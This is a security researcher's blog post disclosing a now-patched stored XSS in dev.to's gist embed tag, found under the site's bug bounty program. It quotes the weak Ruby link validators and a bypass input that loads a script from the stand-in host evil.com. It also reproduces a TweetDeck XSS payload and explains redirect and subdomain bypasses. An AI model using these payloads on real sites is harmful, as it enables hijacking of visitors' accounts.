Antony GarandIntro
After reading this great post regarding the source of Dev.to, I got inspired.
In order to celebrate my 500th follower on here, I gave myself the challenge to hack dev.to!
In the end, I found a stored XSS in a custom liquid tag. This means that if you viewed an infected blog post, I could have controlled your browser, and execute actions on your behalf!
Context
An XSS is a flaw in which a malicious user, in this case me, can inject javascript code into the page.
With JavaScript, specially in a single page application, I can do pretty much anything with your account on this website!
I could update your profile, publish new posts, like and comment on publications, and much more!
Having an XSS means I have full control of the website from the browser's perspective, and therefore is a pretty severe issue.
There are different type of XSS:
- Reflected XSS: Requires the user to access a malicious link to be triggered. This means you would need to be redirected or to click a link in order for the exploit to be triggered.
- Stored XSS: This is an XSS which is saved on the server, and therefore is presented by the website itself. This is the case of a specially crafted blog post. It is a lot more severe as it can be triggered by normal user behavior, and replicated for everyone.
As an example, a stored XSS was found on TweetDeck few years ago, where the malicious code was retweeting itself and ended up with a ridiculous amount of retweets:
*andy@dergeruhn
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥16:36 PM - 11 Jun 2014
Vulnerability
Original code
As mentioned on the Editor Guide, there are many custom Liquid Tags implemented in here. One of those was newly created by Josh in the mentioned blog post, so I decided to start there to check out for security issues!
The source for these liquid tags live under /app/liquid_tags folder.
Quickly, the gist interested me: The given tag was rendered directly into a script tag!
html = <<~HTML
<div class="ltag_gist-liquid-tag">
<script id="gist-ltag" src="#{@link}.js"></script>
</div>
HTML
And there were many workarounds for its validation:
def valid_link?(link)
link.include?("gist.github.com")
end
The usage for the gist link is the following in the documentation:
{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}
Adding .js gives us a script which creates a pretty embed around the content of the gist:
As the validation was not sufficient, only checking if the link contained gist.github.com, it could be bypassed:
{% gist //evil.com/script#gist.github.com %} would be converted into <script src="//evil.com/script#gist.github.com.js"></script>
The previous gist would therefore load an unsafe script on the blog post, making it a stored xss!
Once the dev.team was notified, they quickly released a patch by updating the valid_link function:
def valid_link?(link)
(link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end
Bypass 1
This patch ensured that the given link started with http[s]://gist.github.com.
While better than the previous validation, this is still not sufficient to protect against attacks!
The following two domains would pass this validation, but still load an external script:
The first one uses the Basic Authentication Scheme and sends gist.github.com as username to the evil.com website.
The second one is simply a subdomain of evil.com.
This issue was quickly fixed by adding a required trailing slash after gist.github.com, which correctly mitigates this issue.
def valid_link?(link)
(link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end
Bypass 2
The previous patch made sure that the domain requested was gist.github.com, which is great!
But there still was a bypass possible due to the nature of the website.
When viewing raw gist files, in this case poc.js, the raw link is from the following format: https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]
When replacing the domain gist.githubusercontent.com with gist.github.com, we are actually redirected to the original githubusercontent.com domain!
This means that the raw file poc.js from my gist can be accessed from:
- https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
- https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
Notice the domain on the second URL: gist.github.com
This correctly bypasses the given patch as the raw file would be served from the gist.github.com domain.
The patch was successfully applied earlier today, by forcing the given gist to a more strict regex: Commit
def valid_link?(link)
(link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
zero?
end
Conclusion
After disclosing the original bug, following the dev.to bug bounty program, the dev team was quick to react and patch those bugs.
I managed to earn myself a place in the security hall of fame, a sweet 150$ bounty and a pack of stickers.
By having the source code available and a bug bounty program, many more people will scan the websites for issues, which makes the website more secure.
Finally, the overall experience has been great!
I would strongly recommend everyone to checkout the source code, report bugs and security issues you find and submit pull requests improving the general security of the website.
If you're looking for somewhere to start, your first commit could be as simple as replacing http links with https!
